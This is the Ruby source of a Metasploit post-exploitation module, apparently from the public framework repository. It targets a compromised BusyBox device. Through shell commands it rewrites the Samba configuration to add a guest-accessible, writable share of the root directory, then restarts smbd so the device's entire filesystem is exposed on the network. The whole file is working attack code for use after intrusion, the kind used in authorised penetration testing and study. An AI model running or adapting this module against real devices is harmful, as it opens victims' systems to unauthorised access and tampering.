60 lines
1.8 KiB
Ruby
60 lines
1.8 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Post
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include Msf::Post::File
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include Msf::Post::Linux::BusyBox
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def initialize
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super(
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'Name' => 'BusyBox SMB Sharing',
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'Description' => %q{
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This module will be applied on a session connected to a BusyBox shell. It will modify
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the SMB configuration of the device executing BusyBox to share the root directory of
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the device.
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},
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'Author' => 'Javier Vicente Vallejo',
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'License' => MSF_LICENSE,
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'Platform' => ['linux'],
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'SessionTypes' => ['shell']
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)
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end
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def run
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print_status('Checking smb.conf...')
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if busy_box_file_exist?('/var/samba/smb.conf')
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print_status('smb.conf found, searching writable directory...')
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writable_directory = busy_box_writable_dir
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if writable_directory
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print_status('writable directory found, copying smb.conf and restarting smbd')
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copy_smb_conf(writable_directory)
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else
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print_error('Writable directory not found')
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end
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else
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print_error('smb.conf not found')
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end
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end
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def copy_smb_conf(dir)
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cmd_exec_delay("rm -f #{dir}smb.conf")
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cmd_exec_delay("cp -f /var/samba/smb.conf #{dir}smb.conf")
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cmd_exec_delay("echo -e '[rootdir]\ncomment = rootdir\npath = /\nbrowseable = yes\nwriteable = yes\nguest ok = yes\n' >> #{dir}smb.conf")
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cmd_exec_delay('killall smbd')
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cmd_exec_delay("smbd -D -s #{dir}smb.conf")
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cmd_exec_delay("smbd -D -s=#{dir}smb.conf") # Uses equal just in case
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end
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def cmd_exec_delay(command)
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res = cmd_exec(command)
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vprint_status(res)
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Rex.sleep(0.1)
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end
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end
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